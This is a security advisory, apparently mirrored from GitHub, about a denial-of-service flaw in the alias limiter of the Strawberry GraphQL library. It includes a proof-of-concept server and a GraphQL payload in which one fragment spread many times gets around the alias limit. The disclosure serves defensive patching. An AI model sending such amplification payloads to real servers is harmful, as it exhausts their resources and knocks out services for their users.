Where
AND
-Infinity
0
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details The current implementation of alias counting in strawberry/extensions/maxaliases.py uses a static approach for selection in selectionsetowner.selectionset.selections: if isinstance(selection, FieldNode) and selection.alias: result += 1

if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~: result += countfieldswithalias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import MaxAliasesLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

Limit is set to 20 aliases schema = strawberry.Schema( query=Query, extensions=[MaxAliasesLimiter(maxaliascount=20)] )

app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")

payloads import httpx

payload = { "query": """ fragment Amplification on User { a1: name, a2: name, a3: name, a4: name, a5: name, a6: name, a7: name, a8: name, a9: name, a10: name } query Bypass { u1: user { ...Amplification } u2: user { ...Amplification } u3: user { ...Amplification } u4: user { ...Amplification } u5: user { ...Amplification } u6: user { ...Amplification } u7: user { ...Amplification } u8: user { ...Amplification } u9: user { ...Amplification } u10: user { ...Amplification } } """ }

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(f"Status: {response.statuscode}") The response will contain 100 'a' aliases nested within 10 'u' aliases. print(response.json())

Impact An attacker can bypass security constraints to cause Application-level DOS. By staying just under the maxaliascount limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203